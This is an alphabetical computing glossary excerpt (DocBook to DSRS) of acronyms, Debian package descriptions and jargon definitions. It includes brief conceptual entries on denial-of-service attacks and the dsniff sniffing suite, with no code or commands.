XML DTD for DocBook, also known as DocBk XML An XML representation of the DocBook DTD, which is sometimes referred to as DocBk XML. This is a DTD widely used for documenting software and other technical topics. This package ships with the newest DocBook XML DTD, as well as a select set of legacy DTDs for use with older documents. 
docbook-xsl
Stylesheets for processing DocBook XML files to HTML and FO. These are modular XSL stylesheets for processing documents composed with the DocBook XML DTD and its derivatives ("Simplified" DocBook XML, JRefEntry DTD, etc.). The documentation is included in the package. The stylesheets provide XSLT transformations for both HTML and Formatting Object output. The latter can be further processed to a number of print formats using FOP or TeX-based tools. The stylesheets are modular in the sense that you can extend and, to some extent, customize them. Included are extension classes for the Saxon and Xalan2 XSLT processors. The documentation is included in this package. For quickstart instructions, see /usr/share/doc/docbook-xsl/README.Debian Author: Norman Walsh <ndw@nwalsh.com> Homepage: http://sourceforge.net/projects/docbook 
docbook-xsl-stylesheets
Stylesheets for processing DocBook XML files to HTML and FO. These are modular XSL stylesheets for processing documents composed with the DocBook XML DTD and its derivatives ("Simplified" DocBook XML, JRefEntry DTD, etc.). The documentation is included in the package. The stylesheets provide XSLT transformations for both HTML and Formatting Object output. The latter can be further processed to a number of print formats using FOP or TeX-based tools. The stylesheets are modular in the sense that you can extend and, to some extent, customize them. The documentation is included in this package. Author: Norman Walsh <ndw@nwalsh.com> Homepage: http://sourceforge.net/projects/docbook 
docbook2dvi
(Jade Wrapper) converts SGML files to other formats 
docbook2html
(Jade Wrapper) converts SGML files to other formats 
docbook2man
(Jade Wrapper) converts SGML files to other formats 
docbook2pdf
(Jade Wrapper) converts SGML files to other formats 
docbook2ps
(Jade Wrapper) converts SGML files to other formats 
docbook2rtf
(Jade Wrapper) converts SGML files to other formats 
docbook2tex
(Jade Wrapper) converts SGML files to other formats 
docbook2texi
(Jade Wrapper) converts SGML files to other formats 
docbook2txt
(Jade Wrapper) converts SGML files to other formats 
DOCC
DISA Operations Control Complex (DISA, mil., USA) 
docdiff
Compares two text files by character or by word/morpheme Compares two text files by character or by word/morpheme, and output the result in pseudo HTML format. 
DOCSIS
Data Over Cable System Interface Specification 
documentation
n. The multiple kilograms of macerated, pounded, steamed, bleached, and pressed trees that accompany most modern software or hardware products (see also tree-killer). Hackers seldom read paper documentation and (too) often resist writing it; they prefer theirs to be terse and on-line. A common comment on this predilection is "You can't grep dead trees". See drool-proof paper, verbiage, treeware. 
Documentation
The instructions, tutorials, and refernce information that provides you with the information you need to use a program or computer system effectively. Documentation can appear in printed form or in on-line help systems. 
DODISS
Department Of Defense Index of Specifications and Standards (mil., USA) 
DOE
Depends On Experience 
DOE
Distributed Objects Everywhere (Sun) 
dog
Enhanced replacement for cat dog writes the contents of each given file, URL or standard input to standard output. It currently supports file, http and raw URLs. It is designed as a compatible, but enhanced replacement for cat. 
DOM
Disk On Module 
DOM
Document Object Model (MS) 
DOM (Document Object Model)
An application programming interface (API) for HTML and XML documents. It defines the logical structure of documents and the way a document is accessed and manipulated. In the DOM specification, the term "document" is used in the broad sense - increasingly, XML is being used as a way of representing many different kinds of information that may be stored in diverse systems, and much of this would traditionally be seen as data rather than as documents. Nevertheless, XML presents this data as documents, and the DOM may be used to manage this data. 
Domain
An internet 'domain' is a subsection of the internet. The primary domains of the internet are .COM, .NET, .MIL, and .ORG, which refer to Commercial, Network, Military, and Organization. These domains are administered by the Internic. Each domain has a primary and secondary Domain Name Server associated with it. 
DOMAIN
Distributed Operating Multi Access Interactive Network (Apollo, Internet) 
Domain
The part of the Internet address that specifies your computer's location in the world. The address is written as a series of names separated by full stops. For example, the Domain name at Global SchoolHouse Foundation is www.gsh.org--this shows that Global SchoolHouse Foundation is an organization. The another example, www.statistik.uni-dortmund.de, shows that Statistics faculty is in the University of Dortmund, and the last de shows the it is in Germany (Deutschland). The German word for Germany is (de)utschland. The most common top level domains: .edu Educations(US).net network resource .com Commercial(US) www.aspensys.com .org Organization(US) .de (Code for Germany..) .gov Public bodies
domain
The site's name that an organization uses; for example, Red Hat has a domain name of redhat.com. 
Domain Name
The unique name that identifies an Internet site. Domain Names always have 2 or more parts, separated by dots. The part on the left is the most specific, and the part on the right is the most general. A given machine may have more than one Domain Name but a given Domain Name points to only one machine. For example, the domain names: matisse.net mail.matisse.net workshop.matisse.net can all refer to the same machine, but each domain name can refer to no more than one machine. Usually, all of the machines on a given Network will have the same thing as the right-hand portion of their Domain Names (matisse.net in the examples above). It is also possible for a Domain Name to exist but not be connected to an actual machine. This is often done so that a group or business can have an Internet e-mail address without having to establish a real Internet site. In these cases, some real Internet machine must handle the mail on behalf of the listed Domain Name. 
Domain Name Server
Each internet domain has two domain name servers, or DNS. The primary DNS for a domain is usually located on one of the machine in that network, you can often determine the server from the output of the nslookup command. 
domain name system (DNS)
A service database that translates an IP address into a domain name (like redhat.com). 
domainname
A name "key" that is used by NIS clients to be able to locate a suitable NIS server that serves that domainname key. Please note that this does not necessarily have anything at all to do with the DNS "domain" (machine name) of the machine(s). 
dome
calculates and draws geodesic domes DOME is a program which calculates the properties of a geodesic dome symmetry triangle. DOME calculates spherical vertex coordinates, symmetry triangle topological abundance, and chord factors. DOME supports class I (alternate) and class II (triac on) breakdowns for Icosahedron, Octahedron and Tetrahedron polyhedron types. DOME also supports "Buckyball" formations as well as elliptical geodesics. See the Applied Synergetics Homepage (http://www.cris.com/~rjbono/index.html) for image samples and links to other Synergetics Web sites. 
DOME
Distributed Object Management Environment (ORB) 
DOMF
Distributed Object Management Facility (Sun) 
dongle
1. A connector that attaches a conduit (such as a phone line or Ethernet cable) to a PCMCIA card. 2. A hardware attachment that authorizes a computer system to run a particular application. 
donkey
One Time Password calculator. Donkey is an alternative for S/KEY's "key" command. This means that donkey is also an alternative for "keyinit". Since the entry is printed to stdout (not to /etc/skeykeys), you can easily sent it to remote operator by e-mail (with PGP signature or something). So, it possible to initiate S/KEY without login from the console of the host. 
DOOM
Decentralised Object Orientated Machine 
doomlegacy
A port of the Doom engine that supports OpenGL Doom Legacy features 32-Player multiplayer over TCP/IP, high resolutions, OpenGL rendering, compatibility to most of the other ports extensions, and much more. 
DOP
Directory Operational binding management Protocol 
dopewars
Make a fortune dealing drugs on the streets of New York dopewars is a UNIX rewrite of the MS-DOS program of the same name, which in turn was inspired by John E. Dell's "Drug Wars" game. You have one month to buy and sell drugs on the streets of New York, the aim being first to pay off your debt to the loan shark and then to make a fortune. And if you have to shoot a few cops in the process, well... The game includes TCP networking allowing you to meet (and shoot) other human drug dealers. 
DOS
Denial Of Service [attack], "DoS" 
DOS
Disk Operating System (OS, IBM, MS, ..., PC, Apple, RCA Spectra 70) 
DoS (Denial of Service)
An exploit whose purpose is to deny somebody the use of the service: namely to crash or hang a program or the entire system. Example: Some classes of DoS are: traffic flood Overwhelms the Internet connection. Because it is the Internet connection itself that is attacked, there isn't much the victim can do to stop the attack. A firewall might block the flood from going any further, but the Internet connection in front of the firewall is still overloaded. application floods or bombs Overwhelms a program with too many events. A firewall that allows the traffic cannot block these attacks. For example, a firewall configured to allow IRC cannot selectively block just the flood but allow all other traffic. Common services attacked this way are IRC, HTTP, and e-mail (SMTP). remote system crash/hang Historically, there have been a lot of ways of remotely crashing machines. These attack the TCP/IP stack within the system causing it to crash or hang. This affects all software running on the system. remote service crash Crashes just the application/service. This doesn't affect other software running on the system. Example: Some famous DoS attacks are: Ping of Death This exploit crashed most machines vintage 1995 by sending illegally fragmented packets at a victim. Even as late as 2000, some systems were vulnerable to variants of this DoS, such as the Jolt2 attack against Windows systems. SYN flood ping flood WinNuke Sending OOB/URG data across a TCP connection to Windows. teardrop Sends overlapping IP fragments at the victim. Overlapping IP fragments should normally never happen. This means that the code to handle them has never been tested -- and therefore many bugs exist. land (latierra) An attacker can forge a packet that is sent from the victim's machine to the victim's machine, which can cause it to reply back to itself in an infinite loop. targa A tool that includes many popular DoS attacks (by Mixter). Culture: A common word for DoS is "nuke", which was first popularized by the WinNuke program (a simple ping-of-death expoit script. These days, "nukes" are those DoS exploits that script kiddies in chat rooms use against each other. See also: SYN flood 
DOS15
Disk Operating System - 15 (OS, DEC, PDP 15), "DOS-15" 
dos2unix
The dos2unix utility converts DOS or MAC format text files to UNIX format. 
DOS360
Disk ??? Operating System / 360 (OS, IBM S/360), "DOS/360" 
doschk
SYSV and DOS filename conflicts check Checks filenames for conflicts under 14-character SYSV and 8.3 DOS limitations. 
dosemu
The Linux DOS Emulator DOSEMU is a PC Emulator application that allows Linux to run a DOS operating system in a virtual x86 machine. This allows you to run many DOS applications. - Includes the FreeDOS kernel. - Color text and full keyboard emulation (via hotkeys) via terminal. - Built-in X support, includes IBM character set font. - Graphics capability at the console with most compatible video cards. - DPMI support so you can run DOOM. - CDROM support. - Builtin IPX and pktdrvr support. 
DOSemu
To quote the manual, "dosemu" is a user-level program which uses certain special features of the Linux kernel and the 80386 processor to run MS-DOS/FreeDOS/DR-DOS in what we in the biz call a `DOS box.' The DOS box, a combination of hardware and software trickery, has these capabilities: the ability to virtualize all input/output and processor control instructions, the ability to support the word size and addressing modes of the iAPX86 processor family's "real mode," while still running within the full protected mode environment, the ability to trap all DOS and BIOS system calls and emulate such calls as are necessary for proper operation and good performance, the ability to simulate a hardware environment over which DOS programs are accustomed to having control, the ability to provide DOS services through native Linux services; for example, dosemu can provide a virtual hard disk drive which is actually a Linux directory hierarchy." From DOSEMU-HOWTO
dosfstools
Inside of this package there are two utilities to create and to check MS-DOS FAT filesystems on either harddisks or floppies under Linux. This version uses the enhanced boot sector/superblockformat of DOS 3.3+ as well as provides a default dummy boot sector code. 
dosfstools
The dosfstools package includes the mkdosfs and dosfsck utilities, which respectively make and check MS-DOS FAT filesystems on harddrives or on floppies. 
dosfstools
Utilities to create and check MS-DOS FAT filesystems Inside of this package there are two utilities to create and to check MS-DOS FAT filesystems on either harddisks or floppies under Linux. This version uses the enhanced boot sector/superblock format of DOS 3.3+ as well as provides a default dummy boot sector code. 
DOSS
Dedicated Office Systems and Services 
dossizola
An Isola board game with nice graphics. The goal of Do'SSi Zo'la is to block the opponent by destroying the squares which surround him. In each turn, each player must first move to one of the squares adjacent to his current position, and then destroy a square of his choice. The first player who is unable to move loses. 
DOSVS
Disk ??? Operating System / Virtual Storage (OS, IBM S/370), "DOS/VS" 
DOSVSE
Disk ??? Operating System / Virtual Storage Extended (OS, IBM 43XX, DOS/VS, VSE), "DOS/VSE" 
dot file
A file that is hidden from general file browsing partly because it contains important configuration options. 
Dot file
In UNIX, a file thet has a name preceded by a dot. Such a file normally isn't displayed by UNIX file-listing utility progams. Dot files are frequently used for user configuration files, such as a file that lists the newsgroups the user regularly consults. 
dot file
[Unix] n. A file that is not visible by default to normal directory-browsing tools (on Unix, files named with a leading dot are, by convention, not normally presented in directory listings). Many programs define one or more dot files in which startup or configuration information may be optionally recorded; a user can customize the program's behavior by creating the appropriate file in the current or home directory. (Therefore, dot files tend to creep -- with every nontrivial application program defining at least one, a user's home directory can be filled with scores of dot files, of course without the user's really being aware of it.) See also profile (sense 1), rc file. 
dot-matrix
In printing, a type of printer that uses tiny hammers that strike the printer paper to form characters and images. 
dotfile
Easy configuration of popular programs through Tcl/Tk interface The Dotfile Generator is a configuration tool, which configures the basic features, and even more exotic features of your favorite programs. It translates information from check boxes, entries, menus etc. to some sort of code (eg. Lisp, C, the configuration language for the fvwm window manager, or any other textual code). This transformation is coded in modules, where the programmer tells which elements are to be shown (a check button, listbox, etc.) and gives some help on each element. With this release, modules exist for configuring bash, fvwm1, fvwm2, tcsh, elm, rtin, ipfwadm, procmail and canna, and they can be found in separate packages named dotfile-<program>. 
dotlockfile
Utility to manage lockfiles 
double-click
To tap the mouse button twice in succession to activate desktop objects. 
DOV
Data Over Voice [MODEM] 
DOW
Direct OverWrite (MO, ...) 
Download
The process of taking information stored on the internet and copying it to your computer's hard disk. You may find yourself downloading the latest shareware from a site such as http://www.search.com/. To transfer files from a server to a PC across a network (Internet). From Glossary of Distance Education and Internet Terminology
downtime
The length of time a computer is not functioning (down). It is the reverse of uptime. 
doxygen
Documentation system for C, C++ and IDL. Doxygen is a documentation system for C, C++ and IDL. It can generate an on-line class browser (in HTML) and/or an off-line reference manual (in LaTeX) from a set of documented source files. There is also support for generating man pages and for converting the generated output into Postscript, hyperlinked PDF or compressed HTML. The documentation is extracted directly from the sources. 
doxygen
Doxygen can generate an online class browser (in HTML) and/or a reference manual (in LaTeX) from a set of documented source files. The documentation is extracted directly from the sources. Doxygen can also be configured to extract the code structure from undocumented source files. 
doxymacs
E-lisp package for making doxygen usage easier under Emacs. The purpose of the doxymacs project is to create a LISP package that will make using Doxygen from within {X}Emacs easier. 
DP
Data Processing 
DP
Detection Point (IN) 
DP
Draft Proposal (ISO) 
DPA
Distributed Password Authentication 
dpasswd
change dialup password 
DPB
Drive Parameter Block (DOS, BIOS, FDD, HDD) 
DPC
Database Promotion Center (org., Japan, DB) 
DPD
Differential Phase Detection 
DPE
Distributed Processing Environment (IN) 
DPF
Discrete Packet Format (VXA, Streamer) 
DPG
Deutsche Physikalische Gesellschaft (org.) 
DPI
Data Processing Installation 
DPI
Dots Per Inch 
DPI
[SNMP] Distributed Program Interface (SNMP, RFC 1228) 
DPI
[SNMP] Distributed Protocol Interface (SNMP, RFC 1592) 
dpkg
a medium-level package manager for Debian 
dpkg
Package maintenance system for Debian This package contains the programs which handle the installation and removal of packages on your system. The primary interface for the dpkg suite is the `dselect' program; a more low-level and less user-friendly interface is available in the form of the `dpkg' command. In order to unpack and build Debian source packages you will need to install the developers' package `dpkg-dev' as well as this one. 
dpkg (Debian Package Manager)
A packaging and installation tool for Internet downloads, included with Debian Linux but compatible with other distributions. It produces files with a .DEB extension. Similar to RPM. 
dpkg-architecture
set and determine the architecture for package building 
dpkg-awk
Gawk script to parse /var/lib/dpkg/{status,available} and Packages This script can parse the dpkg database files. It can do regular expressions on the fields, and only get what you want. It can also be made to output certain fields. As an added bonus, there is an option to sort the output. 'dpkg-awk "Status: .* installed$" -- Package Version Status' will output all installed packages, with only the listed fields. 'dpkg-awk -f=/var/lib/dpkg/available "Package:^[aA].*" -- Package Version' will output all available packages that start with the letter 'A.' 
dpkg-buildpackage
Debian source package tools 
dpkg-checkbuilddeps
check build dependencies and conflicts 
dpkg-cross
Tools for cross compiling Debian packages dpkg-cross itself is a tool for installing libraries and headers for cross compiling in a way similar to dpkg. Furthermore, the functionality of dpkg-buildpackage and dpkg-shlibdeps is enhanced to support cross compiling. 
dpkg-deb
Debian package archive (.deb) manipulation tool 
dpkg-dev-el
Emacs-related Debian development helpers This package contains the following Emacs-related stuff: debian-changelog-mode.el: a helper mode for Debian changelogs; debian-control-mode.el: a helper mode for debian/control files. 
dpkg-distaddfile
Debian source package tools 
dpkg-divert
override a package's version of a file 
dpkg-ftp
Ftp method for dselect. This package provides another method to dselect that uses the ftp protocol to fetch the desired packages from a debian ftp site. To access it select 'ftp' from the Access menu in dselect. 
dpkg-genchanges
Debian source package tools 
dpkg-gencontrol
Debian source package tools 
dpkg-iasearch
An interface to find relevant packages in Debian. This package adds some tools to find relevant packages in Debian using simple queries, both in natural language and by keywords. It makes uses of the document-vectoring program arrow, adding scripts to make use of it to index the Packages database, and to make queries on to it. Its functionality is similar to dlocate but uses a different (more useful?) approach to make the binary database. This package is a proof-of-concept package, any kind of improvements are are welcomed, although this idea should be part of a dpkg frontend {T,G}UI. 
dpkg-multicd
Installation methods for multiple binary CDs This package provides three new methods to be used within dselect in order to access Debian binary package stored on multiple binary CD ROMS. 
dpkg-name
rename Debian packages to full package names 
dpkg-parsechangelog
Debian source package tools 
dpkg-preconfigure
let packages ask questions prior to their installation 
dpkg-reconfigure
reconfigure an already installed package 
dpkg-repack
puts an unpacked .deb file back together dpkg-repack creates a .deb file out of a debian package that has already been installed. If any changes have been made to the package while it was unpacked (ie, files in /etc were modified), the new package will inherit the changes. This utility can make it easy to copy packages from one computer to another, or to recreate packages that are installed on your system, but no longer available elsewhere, or to store the current state of a package before you upgrade it. 
dpkg-ruby
ruby interface for dpkg Contains ruby modules/classes for dpkg, the Debian package management system. It also provides dpkg-ruby( a dpkg-awk clone), dpkg.rb (a part of dpkg/dpkg-deb clone) and dpkg-checkdeps.rb (check utility of deb dependency problem) 
dpkg-scanpackages
create Packages files 
dpkg-scansources
prog 
dpkg-shlibdeps
Debian source package tools 
dpkg-source
Debian source package tools 
dpkg-split
Debian package archive split/join tool 
dpkg-statoverride
override ownership and mode of files 
dpkg-www
WWW Debian package browser With the dpkg cgi-bin you can browse Debian packages on a local or remote host using a normal WEB browser. You can list packages, show package information and installed files, browse documentation and navigate through the packages dependencies. You can also find all the packages owners of a file or directory or those providing a virtual package. If you are the system administrator you can also install or remove packages by clicking on the buttons found in the package info page, provided that this feature has been enabled and you have properly configured your WEB browser. 
DPL
Descriptor Privilege Level (OS/2, NT) 
DPM
Defects Per Million 
DPMA
Data Processing Management Association (org.) 
DPMA
Demand Priority Access Method 
DPMI
DOS Protected Mode Interface (DOS, MS, Intel) 
DPMS
Display Power Management Signalling [standard] (VESA) 
DPMS
DOS Protected Mode Services (Novell, DOS) 
DPN
Data Packet Network (Nortel) 
DPN
Data Processing Node (MODEM) 
DPN
Deutsches Provider Network (ISP) 
DPNPH
Data Packet Network-Packet Handler, "DPN-PH" 
DPOF
Digital Print Order Format 
DPP
Distributed Parallel Processing 
DPQ
Data Processing Quality 
DPRL
Digital Property Rights Language (Xerox) 
dprofpp
display perl profile data 
DPS
Display PostScript (NeXT, GUI, NextStep, DPS) 
DPSE
Display PostScript Engine (DPS, NextStep, OpenStep, Apple, Rhapsody) 
dpsexec
Display PostScript Executive 
dpsinfo
Display PostScript Information 
DPSK
Differential Phase Shift Keying (DFUe) 
dpsyco
Debian packages of system configurations. Dpsyco introduces the concept of configuration packages. It is a special form of debian packages that is applied on top of the original debian packages. With this you can add users, groups, apply a file skeleton, patch things and more. Observe! No such configuration packages should be uploaded to the debian archives. This kind of things are intended to be created and used by the system administrator only. For more information see http://www.opal.dhs.org/programs/dpsyco/. This tool is very useful if you have a lot of servers on which you want to have similar configuration (but not identical). If you only have one server (or client) this is probably not useful at all. WARNING! Users with UID and GID between 500 and 999 will be automatically administrated by this tool. This means that if you do not have a admin package that set up users these users WILL BE REMOVED. Groups with GID between 300 and 499 will be handled in the same way. YOU HAVE BEEN WARNED! 
DPT
Distributed Processing Technology (manufacturer) 
DPT
Drive Parameter Table 
DPT
Dynamic Packet Transport (Cisco) 
dput
Debian package upload tool This script will allow you to put one or more Debian packages into the archive. It includes some tests to verify that the package is policy-compliant. It offers the possibility to run lintian before the upload. It can also run dinstall in dry-run-mode, when having used an appropriate upload method. This is very useful to see if the the upload will pass dinstall sanity checks in the next run. It's intended for Debian maintainers only. 
DPV
DatenPaketVermittlung [srechner] 
DQDB
Distributed Queue Dual Bus (ISO, IEC, IS 8802/6, IEEE 802.6) 
DQL
Database Query Language (DB) 
DQP
Distributed Queueing Protocol 
DQS
Distributed Queueing System (Cluster) 
DR
Designated Router (PIM, Multicast) 
DR
Developer Release (Linux, Apple, ...) 
DR
Digital Research (manufacturer) 
drac
Dynamic Relay Authorization Control (pop-before-smtp) A daemon that dynamically updates a relay authorization map for some MTA (postfix, sendmail). It provides a way to allow legitimate users to relay mail through an SMTP server, while still preventing others from using it as a spam relay. User's IP addresses are added to the map immediately after they have authenticated to the POP or IMAP server. By default, map entries expire after 30 minutes, but can be renewed by additional authentication. Periodically checking mail on a POP server is sufficient to do this. The POP and SMTP servers can be on different hosts. 
DragonLinux
DragonLinux is a complete Linux operating system distribution that has been customized to install on top of versions of Microsoft Windows or any version of DOS. DragonLinux v2r2pre was released November 26, 2001. 
drakconf
drakconf includes the Mandrake Control Center which is an interface to multiple utilities from DrakXtools. 
drakcronat
Drakcronat is an application for scheduling programs to run in the background. It is a Graphical User Interface to Crontab/Cronand At (Unix system schedulers). Drakcronat provides features for beginners as well as sysadmins. 
drakfirsttime
The Mandrake First Wizard is a config tool to help user set up some basics things like themes & window managers, registration at mandrakeclub/mandrake expert the first time you login. 
drakxtools
Contains many Mandrake applications simplifying users and administrators life on a Mandrake Linux machine. Nearly all of them work both under XFree (graphical environment) and in console (text environment), allowing easy distant work. adduserdrake: help you adding a userddcxinfos: get infos from the graphic card and print XF86Config modelines diskdrake: DiskDrake makes hard disk partitioning easier. It isgraphical, simple and powerful. Different skill levels are available(newbie, advanced user, expert). It's written entirely in Perl andPerl/Gtk. It uses resize_fat which is a perl rewrite of the work ofAndrew Clausen (libresize).drakautoinst: help you configure an automatic installation replay drakbackup: backup and restore your systemdrakboot: configures your boot configuration (Lilo/GRUB,Bootsplash, X, autologin) drakbug: interactive bug report tool drakbug_report: help find bugs in DrakXdrakconnect: LAN/Internet connection configuration. It handlesethernet, ISDN, DSL, cable, modem.drakfloppy: boot disk creatordrakfont: import fonts in the systemdrakgw: internet connection sharingdrakproxy: proxies configurationdraksec: security options managment / msec frontenddraksound: sound card configurationdraksplash: bootsplash themes creationdrakTermServ: mandrake terminal server configuratordrakxservices: SysV service and dameaons configuratordrakxtv: auto configure tv card for xawtv grabberkeyboarddrake: configure your keyboard (both console and X)liveupdate: live update softwarelogdrake: show extracted information from the system logslsnetdrake: display available nfs and smb shareslspcidrake: display your pci information, *and* the correspondingkernel modulelocaledrake: language configurator, available both for root(system wide) and users (user only)mousedrake: autodetect and configure your mouseprinterdrake: detect and configure your printerscannerdrake: scanner configuratordrakfirewall: simple firewall configuratorXFdrake: menu-driven program which walks you through setting upyour X server; it autodetects both monitor and video card ifpossible 
DRAM
Dynamic Random Access Memory (RAM, IC) 
drawmap
draws customized maps, using raw USGS data files Drawmap reads data in the Digital Elevation Model (DEM), Digital Line Graph (DLG), and Geographic Names Information System (GNIS) formats. Can also work with SDTS, NAD-83, WGS-84, GTOPO30 data. Using the data in these files, drawmap can produce various kinds of customized maps, including shaded relief maps (with or without roads, streams, place names, and so on) and topographic maps (again, with or without additional features). Outputs sun raster format, portable gray map, or pov format files. 
drb
distributed ruby druby (DRb) - DRb can send message to other ruby script that like Java's RMI. 
DRB
DRAM Row Boundary [register] (DRAM, PCI) 
DRC
Design Rule Checks (CAD) 
DRD
Data Reading Device 
DRDA
Distributed Relational Database Architecture (IBM, DB) 
DRDAAS
Distributed Relational Database Architecture Application Server (IBM, DB), "DRDA AS" 
DRDOS
Digital Research Disk Operating System (DR, OS), "DR-DOS" 
DREN
Defense Research and Engineering Network (network) 
DRF
Data Recovery Field 
DRG
Developer Relations Group (MS) 
drgenius
Interactive geometry program. Dr. Genius is an interactive geometry program especially designed for educational purpose. It had a common history with Dr. Geo and Genius but the calculation part of Genius has be droped because it is unmaintained. It might be replaced by Scheme tools in future. URL: http://drgenius.seul.org/ 
DRI
Defense Research Internet (ARPANET, successorr, network) 
DRI
Direct Rendering Infrastructure (XFree86) 
driftnet
Picks out and displays images from network traffic. Inspired by EtherPEG, Driftnet is a program which listens to network traffic and picks out images from TCP streams it observes. It is interesting to run it on a host which sees a lot of web traffic. (Obviously, this is an invasion of privacy of a fairly blatant sort. Also, if you are possessed of Victorian sensibilities, and share an unswitched network with others who are not, you should probably not use it.) 
drive
A device that reads/writes data from/to disks or tapes; for example, a hard drive, diskette drive, CD-ROM, or tape drive. 
driver
n. 1. The main loop of an event-processing program; the code that gets commands and dispatches them for execution. 2. [techspeak] In `device driver', code designed to handle a particular peripheral device such as a magnetic disk or tape unit. 3. In the TeX world and the computerized typesetting world in general, a program that translates some device-independent or other common format to something a real device can actually understand. 
driver
See device module. 
DRL
Dynamically Reconfigurable Logic (RL) 
DRM
Destination Release Mechanism (DQDB) 
DRM
Digital Rights Management (MS) 
DRMU
Digital Remote Measurement Unit 
DRP
DECnet Routing Protocol (DEC) 
DRSN
Defense Red Switch Network [hopefully no traffic ever] (network, mil. USA) 
drsync
Two-way remote file synchronisation drsync.pl uses rsync to synchronise between two directories (local or remote), but stores state information for files, so that it can be used in both directions, and can cope with files created, modified or deleted in either repository. 
DS
Data Segment [register] (CPU, Intel, assembler) 
DS
Deutschsprachige Shareware (org.) 
DS
Digital Services [level] 
DS
Directory Service (OSI, ISO, DP 9594) 
DS
Distribution Services (SNA) 
DS
Distribution System (WLAN) 
DS
Double Sided [disks] (FDD) 
DS0
Digital Signal level 0 (ISDN, T1), "DS-0" 
DS1
Digital Signal level 1 (ISDN, T1), "DS-1" 
DS1E1
??? (RFC 1406), "DS1/E1" 
DS2
Digital Signal level 2, "DS-2" 
DS3
Digital Signal level 3 (T3), "DS-3" 
DS3
Digital Signal level 3, "DS-3" 
DS3E3
??? (RFC 1407), "DS3/E3" 
DSA
Data Service Adapter 
DSA
Digital Signature Algorithm (cryptography, NIST) 
DSA
Digital Storage Architecture 
DSA
Directory System Agent (X.500, DSA) 
DSA
Distributed Systems Architecture (Bull) 
DSA
Dynamic Scalable Architecture (DB, Informix) 
DSA (Digital Signature Algorithm, DSS, Digital Signature Standard, FIPS 186, ANSI 9.30)
An alternative public-key algorithm, the DSA is a standard promulgated by NIST. DSA is only used for digital signatures but is not used for key exchange. It is based upon work done by Schnorr and ElGamal. Contrast: Whereas RSA is based upon the mathematical problem of factoring large numbers, DSA is based upon the discrete logarithm problem. DSA generates signatures faster; RSA verifies signatures better. Contrast: The terms DSA and DSS are essentially the same and are generally used interchangeably. DSS (Digital Signature Standard) is a government document mandating the use of DSA (Digital Signature Algorithm). They are both part of the same FIPS-186 document. Key point: The DSS specification provides for keys only up to 1024-bits. This is considered "weak" and probably breakable in a few years. Some products (e.g. PGP) allow non-standard larger keys to be generated. History: The standard was created by NIST with the help See also: RSA, Diffie-Hellman 
DSAP
Destination link Service Access Point (SAP, LLC) 
DSC
Document Structuring Conventions (Adobe) 
DSD
Data Structure Diagram (CASE) 
DSD
Direct Stream Digital (Sony, Philips) 
DSDC
Data Segment Descriptor Cache [register] (DS, Intel, CPU) 
DSDL
Data Storage Definition ??? Language (DB) 
DSDT
Differentiated System Description Table (ACPI) 
DSE
Data Switching Equipment (X.25, CCITT) 
DSE
Distributed Systems Environment (Honeywell, Bull) 
DSEA
DataStation Emulation Adapter (IBM, AS/400, ...) 
DSEE
Distributed Software Engineering Environment ??? (Apollo, CM) 
dselect
console Debian package handling frontend 
dsh
dancer's shell, or distributed shell Executes specified command on a group of computers using remote shell methods such as rsh. dsh aims to be a distributed shell with speed and efficiency, although it has not reached that goal yet. Something that is pretty handy when setting up clusters. 
DSH
Desperately Seeking Help (slang, Usenet) 
DSI
Defense Simulation Internet (network, mil., USA) 
DSI
Dial Services Interface [API] (API, IBM) 
DSI
Digital Speech Interpolation (VOFR) 
DSI
Dynamic Skeleton Interface (CORBA, ORB, OA) 
DSID
Destination Signaling IDentifier 
DSIMM
Dual [RAS] Single Inline Memory Module (IC), "D-SIMM" 
dsirc
A command-line IRC client. 
DSL
Dialogue Scripting Language (DCE, UIL) 
DSL
Digital Subscriber Line (DSL) 
DSL
Digital system Specification Language (HDL) 
DSL
Distributed Service Logic (IN) 
DSL (Digital Subscriber Line)
A method for moving data over regular phone lines. A DSL circuit is much faster than a regular phone connection, and the wires coming into the subscriber's premises are the same (copper) wires used for regular phone service. A DSL circuit must be configured to connect two specific locations, similar to a leased line (howeverr a DSL circuit is not a leased line. A common configuration of DSL allows downloads at speeds of up to 1.544 megabits (not megabytes) per second, and uploads at speeds of 128 kilobits per second. This arrangement is called ADSL: Asymmetric Digital Subscriber Line. Another common configuration is symmetrical: 384 Kilobits per second in both directions. In theory ADSL allows download speeds of up to 9 megabits per second and upload speeds of up to 640 kilobits per second. DSL is now a popular alternative to Leased Lines and ISDN, being faster than ISDN and less costly than traditional Leased Lines. 
DSLAM
Digital Subscriber Line Access Multiplexer (DSL, ADSL) 
DSLCP
Dynamically Switched Link Control Protocol (RFC 1307) 
DSM
[TWAIN] Data Source Manager (MS, Windows) 
DSML (Directory Services Markup Language)
an XML dialect for working with directory information. 
DSMN
Directory Service Manager for Netware (MS, Windows NT, FPNW) 
DSN
Defense Switched Network (mil., USA) 
DSN
Delivery Status Notification 
DSN
Developer Support News (IBM, OS/2) 
DSN
Distributed Systems Network (HP) 
DSNET
Defense Secure NETwork (mil., USA) 
dsniff
Various tools to sniff network traffic for cleartext insecurities This package contains several tools to listen to and create network traffic: * arpspoof - Send out unrequested (and possibly forged) arp replies. * dnsspoof - forge replies to arbitrary DNS address / pointer queries on the Local Arean Network. * dsniff - password sniffer for several protocols. * filesnarf - saves selected files sniffed from NFS traffic. * macof - flood the local network with random MAC addresses. * mailsnarf - sniffs mail on the LAN and stores it in mbox format. * msgsnarf - record selected messages from different Instant Messengers. * sshmitm - SSH monkey-in-the-middle. proxies and sniffs SSH traffic. * sshow - SSH traffic analyser * tcpkill - kills specified in-progress TCP connections. * tcpnice - slow down specified TCP connections via "active" traffic shaping. * urlsnarf - output selected URLs sniffed from HTTP traffic in CLF. * webmitm - HTTP / HTTPS monkey-in-the-middle. transparently proxies. * webspy - sends URLs sniffed from a client to your local browser. Please do not abuse this software. 
DSO (Dynamic Shared Object)

DSOM
Distributed System Object Model (IBM) 
DSP
Digital Signal Processing / Processor (audio, video, RL, DSP) 
DSP
Digital signal processors - specialized microprocessors that perform the same task repetitively at very high frequency. Most often used in telecommunications and multimedia application platforms. 
DSP
Directory System Protocol (X.500, DS) 
DSP
Document Services for Printing (Xerox), "DS/P" 
DSP
DOMAIN Specific Part (NSAP, IDL) 
DSP (Digital Signal Processor)
A progammable sound processing circuit, used in both modems and sound boards. Sound boards use DSPs to handle a variety of sound resolutions, formats, and sound-altering filters without requiring separate circuits for each one, while modems use DSPs to handle several modulation protocols. 
DSR
Data Set Ready (MODEM, RS-232) 
DSR
Device Status Report 
DSR
Digital Signal Richtfunk Mil., Germany 
DSRI
Digital Standard Relational Interface 
DSRS
